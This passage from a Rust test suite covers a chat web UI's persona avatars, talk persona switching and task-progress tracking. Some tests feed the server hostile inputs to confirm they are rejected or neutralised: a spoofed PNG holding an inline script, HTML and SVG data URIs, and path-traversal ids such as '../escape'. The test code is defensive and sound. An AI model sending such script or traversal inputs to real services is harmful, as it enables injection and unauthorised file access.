15767 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15768 ))
15769 .await;
15770 let target = |id: Option<&str>| AvatarSettingsQuery {
15771 persona: id.map(str::to_owned),
15772 ..Default::default()
15773 };
15774 let original_config = config_for(&repo).await.unwrap();
15775 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15776 let original_prompt = persona::section_for(&original_persona, None);
15777 let before = talk_detail(State(ui.clone()), Path(id.clone()))
15778 .await
15779 .unwrap()
15780 .0;
15781 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15782 let _ = avatar_settings_put(
15783 State(ui.clone()),
15784 Query(target(persona)),
15785 Json(MagiIconUpload { icon: icon.into() }),
15786 )
15787 .await
15788 .unwrap();
15789 let path = avatar_setting_path(home.path(), persona);
15790 assert!(path.starts_with(home.path().join("avatars")));
15791 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15792 for bad in [
15793 "/tmp/image.png".to_owned(),
15794 "data:image/png;base64,!!!!".to_owned(),
15795 "data:image/png;base64,PGh0bWw+".to_owned(),
15796 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15797 format!(
15798 "data:image/png;base64,{}",
15799 "A".repeat(persona_icon::ICON_MAX_BYTES)
15800 ),
15801 ] {
15802 assert!(
15803 avatar_settings_put(
15804 State(ui.clone()),
15805 Query(target(persona)),
15806 Json(MagiIconUpload { icon: bad })
15807 )
15808 .await
15809 .is_err()
15810 );
15811 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15812 }
15813 }
15814 assert!(read_magi_icon(home.path()).is_none());
15815 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15816 let after = talk_detail(State(ui.clone()), Path(id.clone()))
15817 .await
15818 .unwrap()
15819 .0;
15820 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15821 assert_ne!(
15822 before
15823 .personas
15824 .iter()
15825 .find(|p| p.id == "magi")
15826 .unwrap()
15827 .avatar,
15828 after
15829 .personas
15830 .iter()
15831 .find(|p| p.id == "magi")
15832 .unwrap()
15833 .avatar
15834 );
15835 let restarted = Arc::new(Ui::new(
15836 Queue::at(home.path().join("queue")),
15837 Questions::at(home.path().join("questions")),
15838 Talks::at(home.path().join("talks")),
15839 home.path().join("runs"),
15840 home.path().to_owned(),
15841 repo,
15842 ));
15843 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15844 .await
15845 .unwrap()
15846 .0;
15847 assert!(
15848 catalog["personas"]
15849 .as_array()
15850 .unwrap()
15851 .iter()
15852 .any(|p| p["id"] == "../custom/日本語")
15853 );
15854 for expected in ["custom", "default", "rei"] {
15855 assert!(
15856 catalog["personas"]
15857 .as_array()
15858 .unwrap()
15859 .iter()
15860 .any(|p| p["id"] == expected)
15861 );
15862 }
15863 let response =
15864 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15865 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15866 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15867 .await
15868 .unwrap();
15869 assert_eq!(
15870 effective_persona_icon(home.path(), "rei", Some(icon)),
15871 Some(String::new())
15872 );
15873 let response = talk_avatar(
15874 State(restarted.clone()),
15875 Path(id.clone()),
15876 Query(AvatarQuery {
15877 persona: Some("rei".into()),
15878 ..Default::default()
15879 }),
15880 )
15881 .await
15882 .unwrap();
15883 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15884 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15885 .await
15886 .unwrap()
15887 .0;
15888 assert_ne!(
15889 after
15890 .personas
15891 .iter()
15892 .find(|p| p.id == "rei")
15893 .unwrap()
15894 .avatar,
15895 reset
15896 .personas
15897 .iter()
15898 .find(|p| p.id == "rei")
15899 .unwrap()
15900 .avatar
15901 );
15902 let mut inherit = target(Some("rei"));
15903 inherit.inherit = Some("1".into());
15904 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15905 .await
15906 .unwrap();
15907 assert_eq!(
15908 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15909 Some(icon)
15910 );
15911 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15912 .await
15913 .unwrap();
15914 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15915 assert_eq!(
15916 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15917 Some(icon)
15918 );
15919 let cfg = config_for(&ui.repo).await.unwrap();
15921 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15922 assert_eq!(persona::section_for(&resolved, None), original_prompt);
15923 assert!(!original_prompt.contains("data:image"));
15924 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15925 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15926 assert!(!stored.contains("data:image"));
15927 let mut orphan = ui.talks.get(&id).unwrap();
15928 orphan.persona = "../custom/日本語".into();
15929 let view = TalkView::with_config(
15930 orphan,
15931 false,
15932 Some(&cfg),
15933 home.path(),
15934 &id_links::IndexCache::default(),
15935 );
15936 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15937 }
15938
15939 #[tokio::test]
15940 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15941 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15942 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15943 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15944 let _ = magi_icon_put(
15945 State(ui.clone()),
15946 Json(MagiIconUpload { icon: icon.into() }),
15947 )
15948 .await
15949 .unwrap();
15950 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15951 assert_ne!(original, changed);
15952 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15953 let response = magi_avatar(
15954 State(ui.clone()),
15955 Query(AvatarQuery {
15956 persona: None,
15957 builtin: None,
15958 }),
15959 )
15960 .await;
15961 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15962 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15963 assert_eq!(
15964 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15965 "nosniff"
15966 );
15967 for bad in [
15968 "data:image/png;base64,PGh0bWw+".to_owned(),
15969 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15970 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15971 ] {
15972 assert!(save_magi_icon(home.path(), &bad).is_err());
15973 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15974 }
15975 let restarted = Arc::new(Ui::new(
15977 Queue::at(home.path().join("queue")),
15978 Questions::at(home.path().join("questions")),
15979 Talks::at(home.path().join("talks")),
15980 home.path().join("runs"),
15981 home.path().to_path_buf(),
15982 repo,
15983 ));
15984 assert_eq!(
15985 magi_icon_get(State(restarted.clone())).await.0["avatar"],
15986 changed
15987 );
15988 let view = TalkView::with_config(
15989 restarted.talks.get(&id).unwrap(),
15990 false,
15991 None,
15992 &restarted.home,
15993 &restarted.references,
15994 );
15995 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15996 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15997 let response = magi_avatar(
15998 State(ui.clone()),
15999 Query(AvatarQuery {
16000 persona: None,
16001 builtin: None,
16002 }),
16003 )
16004 .await;
16005 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
16006 .await
16007 .unwrap();
16008 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
16009 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
16010 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
16011 let _ = magi_icon_delete(State(ui)).await.unwrap();
16012 }
16013
16014 async fn avatar(
16016 ui: &Arc<Ui>,
16017 id: &str,
16018 persona: Option<&str>,
16019 builtin: bool,
16020 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
16021 let res = talk_avatar(
16022 State(Arc::clone(ui)),
16023 Path(id.to_owned()),
16024 Query(AvatarQuery {
16025 persona: persona.map(str::to_owned),
16026 builtin: builtin.then(|| "1".to_owned()),
16027 }),
16028 )
16029 .await
16030 .expect("an avatar is never an error response");
16031 let h = res.headers();
16032 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
16033 let nosniff = h
16034 .get(header::X_CONTENT_TYPE_OPTIONS)
16035 .is_some_and(|v| v == "nosniff");
16036 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
16037 let status = res.status();
16038 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16039 .await
16040 .expect("body")
16041 .to_vec();
16042 (status, ct, nosniff, csp, body)
16043 }
16044
16045 fn tiny_png() -> Vec<u8> {
16046 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
16047 b.extend_from_slice(&[0u8; 32]);
16048 b
16049 }
16050
16051 #[tokio::test]
16052 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
16053 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
16054 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
16055 assert_eq!(res.status(), StatusCode::OK);
16056 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
16057 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
16058 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
16059 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
16060 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16061 .await
16062 .unwrap();
16063 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
16064 assert_ne!(
16065 persona_icon::operator_svg(),
16066 persona_icon::builtin_svg("default")
16067 );
16068 }
16069
16070 #[tokio::test]
16071 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
16072 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
16073 for p in [
16074 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
16075 ] {
16076 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
16077 assert_eq!(status, StatusCode::OK, "{p}");
16078 assert_eq!(ct, "image/svg+xml", "{p}");
16079 assert!(nosniff && csp, "{p}");
16080 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
16081 }
16082 let own = avatar(&ui, &id, None, false).await;
16084 let default = avatar(&ui, &id, Some("default"), false).await;
16085 assert_eq!(own.4, default.4);
16086 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
16087 assert_eq!(unknown.1, "image/svg+xml");
16088 }
16089
16090 #[tokio::test]
16091 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
16092 let dir = TempDir::new().expect("icons");
16093 let good = dir.path().join("good.png");
16094 std::fs::write(&good, tiny_png()).unwrap();
16095 let spoof = dir.path().join("spoof.png");
16096 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
16097 let big = dir.path().join("big.png");
16098 let mut bytes = tiny_png();
16099 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
16100 std::fs::write(&big, bytes).unwrap();
16101 let missing = dir.path().join("missing.png");
16102 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
16103 let extra = format!(
16104 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
16105 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
16106 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
16107 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
16108 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
16109 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
16110 uri(&good),
16111 uri(&spoof),
16112 uri(&big),
16113 uri(&missing),
16114 );
16115 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16116
16117 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
16118 assert_eq!(
16119 (status, ct.as_str(), nosniff),
16120 (StatusCode::OK, "image/png", true)
16121 );
16122 assert_eq!(body, tiny_png());
16123 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
16124 assert_eq!(ct, "image/png", "data URI");
16125
16126 for p in ["misato", "asuka", "shinji", "magi"] {
16127 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
16128 assert_eq!(
16129 (status, ct.as_str(), csp),
16130 (StatusCode::OK, "image/svg+xml", true),
16131 "{p}"
16132 );
16133 assert!(body.starts_with(b"<svg"), "{p}");
16134 }
16135 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
16137 assert_eq!(ct, "image/svg+xml");
16138 }
16139
16140 #[tokio::test]
16141 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
16142 let oversized = format!(
16143 "data:image/png;base64,{}",
16144 "A".repeat(persona_icon::ICON_MAX_BYTES)
16145 );
16146 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
16147 let extra = format!(
16148 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
16149 );
16150 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16151 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16152 .await
16153 .expect("detail with invalid icon");
16154 assert!(detail.personas.iter().any(|p| p.id == "custom"));
16155 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
16156 assert_eq!(status, StatusCode::OK);
16157 assert_eq!(ct, "image/svg+xml");
16158 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
16159 let Json(view) = talk_persona(
16160 State(Arc::clone(&ui)),
16161 Path(id.clone()),
16162 Json(TalkPersona {
16163 persona: "custom".into(),
16164 }),
16165 )
16166 .await
16167 .expect("persona switch with invalid icon");
16168 assert_eq!(view.talk.persona, "custom");
16169 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
16170 }
16171 }
16172
16173 #[tokio::test]
16174 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
16175 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16176 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
16177 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
16178 assert_eq!(
16179 (status, ct.as_str(), nosniff, csp),
16180 (StatusCode::OK, "image/svg+xml", true, true)
16181 );
16182 }
16183
16184 #[tokio::test]
16185 async fn the_talk_view_carries_server_built_avatar_urls_only() {
16186 let (_t, _h, ui, id, _repo) =
16187 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
16188 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16189 .await
16190 .expect("detail");
16191 let json = serde_json::to_string(&detail).unwrap();
16192 assert!(
16193 !json.contains("secret"),
16194 "the icon setting must not leak: {json}"
16195 );
16196 assert!(
16197 detail
16198 .view
16199 .persona_avatar
16200 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
16201 );
16202 assert_eq!(
16203 detail.view.operator_avatar,
16204 format!(
16205 "/avatars/operator.svg?v={}",
16206 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
16207 )
16208 );
16209 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
16210 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
16211 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
16212 assert!(rei.avatar.contains("persona=rei&v="));
16213 assert_ne!(
16214 rei.avatar.split("&v=").nth(1),
16215 plain.avatar.split("&v=").nth(1)
16216 );
16217 }
16218
16219 #[tokio::test]
16220 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
16221 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16222 let cfg = config_for(&repo).await.unwrap();
16223 for arrived in [false, true] {
16224 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
16225 let observed = ui.queued_generation(&id);
16226 let talk = ui.talks.get(&id).unwrap();
16227 if arrived {
16228 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
16229 }
16230 let mut settling = std::pin::pin!(settle_settings_turn(
16231 talk,
16232 ui.talks.clone(),
16233 cfg.clone(),
16234 id.clone(),
16235 turn,
16236 observed
16237 ));
16238 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
16239 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
16240 assert_eq!(first.is_pending(), arrived);
16241 if arrived {
16242 assert!(!settling.await);
16243 }
16244 assert!(!ui.is_thinking(&id));
16245 }
16246 }
16247
16248 #[tokio::test]
16249 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
16250 let tmp = TempDir::new().expect("tempdir");
16251 let repo = tmp.path().join("repo");
16252 std::fs::create_dir_all(&repo).expect("repo dir");
16253 std::fs::write(
16254 repo.join("magi.toml"),
16255 format!(
16256 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
16257 ),
16258 )
16259 .expect("write magi.toml");
16260 let home = TempDir::new().expect("temp home");
16261 let talks = Talks::at(home.path().join("talks"));
16262 let ui = Arc::new(
16263 Ui::new(
16264 Queue::at(home.path().join("queue")),
16265 Questions::at(home.path().join("questions")),
16266 talks.clone(),
16267 home.path().join("runs"),
16268 home.path().to_path_buf(),
16269 repo.clone(),
16270 )
16271 .with_worktrees_root(home.path().join("wt")),
16272 );
16273 let cfg = config_for(&repo).await.expect("discover config");
16274 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16275 let id = talk.id.clone();
16276 let call = |persona: &str| {
16277 talk_persona(
16278 State(Arc::clone(&ui)),
16279 Path(id.clone()),
16280 Json(TalkPersona {
16281 persona: persona.to_owned(),
16282 }),
16283 )
16284 };
16285
16286 let unknown = call("nobody").await.expect_err("unknown persona");
16287 assert_eq!(
16288 unknown.status,
16289 StatusCode::BAD_REQUEST,
16290 "{}",
16291 unknown.message
16292 );
16293
16294 {
16295 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
16298 let busy = call("rei").await.expect_err("busy talk");
16299 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
16300 assert!(
16301 busy.message.contains("a talk turn is running"),
16302 "{}",
16303 busy.message
16304 );
16305 drop(guard);
16306 }
16307 assert_eq!(talks.get(&id).expect("reload").persona, "");
16308
16309 let Json(view) = call("gendo").await.expect("switch to a configured persona");
16310 assert_eq!(view.talk.persona, "gendo");
16311 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
16312 assert!(!ui.is_thinking(&id), "idle response must release the claim");
16313 for chosen in ["default", "gendo", "rei", "gendo"] {
16315 let Json(view) = call(chosen).await.expect("immediate consecutive change");
16316 assert!(!view.thinking);
16317 assert!(!ui.is_thinking(&id));
16318 }
16319
16320 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16321 .await
16322 .expect("detail");
16323 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
16324 assert_eq!(ids.first(), Some(&"default"));
16325 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
16326
16327 let Json(view) = call("default").await.expect("back to default");
16328 assert_eq!(view.talk.persona, "");
16329
16330 let mut closed = talks.get(&id).expect("reload");
16331 talk::close(&mut closed, &talks).expect("close");
16332 let refused = call("rei").await.expect_err("closed talk");
16333 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
16334 assert!(
16335 refused.message.contains("takes no more turns"),
16336 "{}",
16337 refused.message
16338 );
16339 }
16340
16341 #[tokio::test]
16342 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
16343 let f = Fixture::start().await;
16344 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
16345 let queue = f.queue();
16346 let mut mine = Task::new(
16347 "rename the loader".to_owned(),
16348 "rename the loader".to_owned(),
16349 PathBuf::from("/repo/magi"),
16350 Source::Agent {
16351 run: talk_id.clone(),
16352 node: "chat".to_owned(),
16353 },
16354 );
16355 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
16356 assert_eq!(empty["task_progress"]["state"], "none");
16357 assert_eq!(empty["task_progress"]["total"], 0);
16358 queue.put(&mut mine).expect("file the task");
16359 let mut theirs = Task::new(
16360 "unrelated".to_owned(),
16361 "unrelated".to_owned(),
16362 PathBuf::from("/repo/magi"),
16363 Source::Human,
16364 );
16365 theirs.origin_chat = Some(talk_id.clone());
16367 queue.put(&mut theirs).expect("file the task");
16368
16369 let res = f.get(&format!("/api/talks/{talk_id}")).await;
16370 assert_eq!(res.status, 200, "{}", res.body);
16371 let body = res.json();
16372 assert_eq!(
16373 body["status"], "open",
16374 "filing a task does not close a talk"
16375 );
16376 let tasks = body["tasks"].as_array().expect("tasks array");
16377 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
16378 assert_eq!(tasks[0]["id"], mine.id);
16379 for status in [
16380 TaskStatus::Queued,
16381 TaskStatus::Running,
16382 TaskStatus::Held,
16383 TaskStatus::Failed,
16384 TaskStatus::Blocked,
16385 TaskStatus::Parked,
16386 TaskStatus::Done,
16387 TaskStatus::Queued,
16388 ] {
16389 mine.status = status;
16390 queue.put(&mut mine).expect("update status");
16391 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16392 let progress = &detail["task_progress"];
16393 assert_eq!(progress["total"], 1);
16394 assert_eq!(progress["counts"][status.as_str()], 1);
16395 assert_eq!(detail["tasks"][0]["status"], status.as_str());
16396 assert_eq!(detail["status"], "open", "completion never closes the chat");
16397 if status == TaskStatus::Done {
16398 assert_eq!(progress["state"], "complete");
16399 assert_eq!(progress["done"], 1);
16400 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16401 } else {
16402 assert_eq!(progress["state"], "incomplete");
16403 assert_eq!(progress["done"], 0);
16404 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16405 }
16406 }
16407 }
16408
16409 #[test]
16410 fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16411 let home = tempfile::tempdir().unwrap();
16412 let runs = home.path().join("runs");
16413 let queue = Queue::at(home.path().join("queue"));
16414 let talks = Talks::at(home.path().join("talks"));
16415 let config = stub_config();
16416 let repo = PathBuf::from("/repo/magi");
16417 let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16418 let reserve_run = |repo| {
16419 let mut run = RunState::new(
16420 repo,
16421 "main".into(),
16422 "0000000".into(),
16423 "Follow the review".into(),
16424 config.clone(),
16425 );
16426 run.reserve_under(home.path()).unwrap();
16427 run
16428 };
16429 let older = reserve_run(repo.clone());
16430 let newer = reserve_run(repo.clone());
16431 let foreign = reserve_run(PathBuf::from("/repo/other"));
16432 let mismatched = reserve_run(repo.clone());
16433 let corrupt = reserve_run(repo.clone());
16434 let run_file = |id: &str| runs.join(id).join("run.json");
16435 std::fs::write(
16436 run_file(&mismatched.id),
16437 serde_json::to_vec(&older).unwrap(),
16438 )
16439 .unwrap();
16440 std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16441 let goal = |tasks: Vec<String>, runs: Vec<String>| {
16442 serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16443 "id": "g", "purpose": "Follow the review", "scope": "review",
16444 "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16445 "state": "waiting", "step": "Follow the recorded review",
16446 "source_turn": 0, "owner_input": "Follow the review",
16447 "tasks": tasks, "runs": runs, "watches": [],
16448 "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16449 "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16450 }))
16451 .unwrap()
16452 };
16453 let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16454
16455 talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16456 assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16457
16458 let unusable = vec![
16459 foreign.id.clone(),
16460 mismatched.id.clone(),
16461 corrupt.id.clone(),
16462 "missing".into(),
16463 "../escape".into(),
16464 ];
16465 let mut references = vec![older.id.clone()];
16466 references.extend(unusable.clone());
16467 talk.goals = vec![goal(vec![], references)];
16468 assert_eq!(link(&talk), Some(("run", older.id.clone())));
16469
16470 talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16471 assert_eq!(link(&talk), None);
16472
16473 let mut task = Task::new(
16474 "Review".into(),
16475 "Follow the review".into(),
16476 repo,
16477 Source::Human,
16478 );
16479 queue.put(&mut task).unwrap();
16480 talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16481 assert_eq!(link(&talk), Some(("task", task.id.clone())));
16482
16483 task.runs.push(older.id.clone());
16484 queue.put(&mut task).unwrap();
16485 assert_eq!(link(&talk), Some(("run", older.id)));
16486 }
16487
16488 #[test]
16489 fn talk_task_progress_counts_mixed_statuses() {
16490 let mut tasks: Vec<_> = [
16491 TaskStatus::Queued,
16492 TaskStatus::Running,
16493 TaskStatus::Held,
16494 TaskStatus::Failed,
16495 TaskStatus::Blocked,
16496 TaskStatus::Parked,
16497 TaskStatus::Done,
16498 ]
16499 .into_iter()
16500 .map(|status| {
16501 let mut task = Task::new(
16502 "task".into(),
16503 "task".into(),
16504 PathBuf::from("/repo"),
16505 Source::Human,
16506 );
16507 task.status = status;
16508 task
16509 })
16510 .collect();
16511 let progress = talk_task_progress(&tasks);
16512 assert_eq!(progress.state, "incomplete");
16513 assert_eq!(progress.total, 7);
16514 assert_eq!(progress.done, 1);
16515 assert_eq!(progress.unfinished_ids.len(), 6);
16516 assert!(progress.counts.values().all(|count| *count == 1));
16517 assert_eq!(
16518 progress.unfinished_ids,
16519 tasks[..6]
16520 .iter()
16521 .map(|task| task.id.clone())
16522 .collect::<Vec<_>>()
16523 );
16524
16525 for task in &mut tasks {
16526 task.status = TaskStatus::Done;
16527 }
16528 let complete = talk_task_progress(&tasks);
16529 assert_eq!(complete.state, "complete");
16530 assert_eq!(complete.done, 7);
16531 assert!(complete.unfinished_ids.is_empty());
16532 tasks[0].status = TaskStatus::Queued;
16533 let requeued = talk_task_progress(&tasks);
16534 assert_eq!(requeued.state, "incomplete");
16535 assert_eq!(requeued.done, 6);
16536 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16537
16538 let empty = talk_task_progress(&[]);
16539 assert_eq!(empty.state, "none");
16540 assert_eq!(empty.total, 0);
16541 assert_eq!(empty.done, 0);
16542 assert!(empty.unfinished_ids.is_empty());
16543 assert!(empty.counts.values().all(|count| *count == 0));
16544 }
16545
16546 #[tokio::test]
16547 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16548 let (_tmp, _repo, f) = talk_fixture().await;
16549 let id = f.post("/api/talks", None).await.json()["id"]
16550 .as_str()
16551 .expect("id")
16552 .to_owned();
16553
16554 let res = f
16555 .post(
16556 &format!("/api/talks/{id}/say"),
16557 Some(r#"{"text":"what does the queue module do?"}"#),
16558 )
16559 .await;
16560 assert_eq!(res.status, 202, "{}", res.body);
16561 let queued = res.json();
16562 let turns = queued["turns"].as_array().expect("turns array");
16563 assert_eq!(
16564 turns.len(),
16565 1,
16566 "the answer reflects only what is on disk the instant it is sent, \
16567 before the agent's turn - which can run for the whole of \
16568 `[graph] timeout_talk` - has a chance to land: {queued}"
16569 );
16570 assert_eq!(turns[0]["who"], "operator");
16571 assert_eq!(turns[0]["body"], "what does the queue module do?");
16572 assert_eq!(
16573 queued["thinking"], true,
16574 "the accepted response exposes the background turn claim: {queued}"
16575 );
16576
16577 let mut turns_after = 1;
16578 for _ in 0..SETTLE_STEPS {
16579 let detail = f.get(&format!("/api/talks/{id}")).await.json();
16580 turns_after = detail["turns"].as_array().expect("turns array").len();
16581 if turns_after == 2 {
16582 break;
16583 }
16584 tokio::time::sleep(Duration::from_millis(10)).await;
16585 }
16586 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16587 }
16588
16589 #[tokio::test]
16616 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16617 let tmp = TempDir::new().expect("tempdir");
16618 let repo = tmp.path().join("repo");
16619 std::fs::create_dir_all(&repo).expect("repo dir");
16620 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16621 let home = TempDir::new().expect("temp home");
16622 let talks = Talks::at(home.path().join("talks"));
16623 let ui = Arc::new(
16624 Ui::new(
16625 Queue::at(home.path().join("queue")),
16626 Questions::at(home.path().join("questions")),
16627 talks.clone(),
16628 home.path().join("runs"),
16629 home.path().to_path_buf(),
16630 repo.clone(),
16631 )
16632 .with_worktrees_root(home.path().join("wt")),
16633 );
16634 let cfg = config_for(&repo).await.expect("discover config");
16635
16636 for delay in 0..40u32 {
16637 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16638 let id = talk.id.clone();
16639
16640 let handler = tokio::spawn(talk_say(
16641 State(Arc::clone(&ui)),
16642 Path(id.clone()),
16643 Ok(Json(NewTalkTurn {
16644 reply_to: None,
16645 text: "what does the queue module do?".to_owned(),
16646 attachments: Vec::new(),
16647 })),
16648 ));
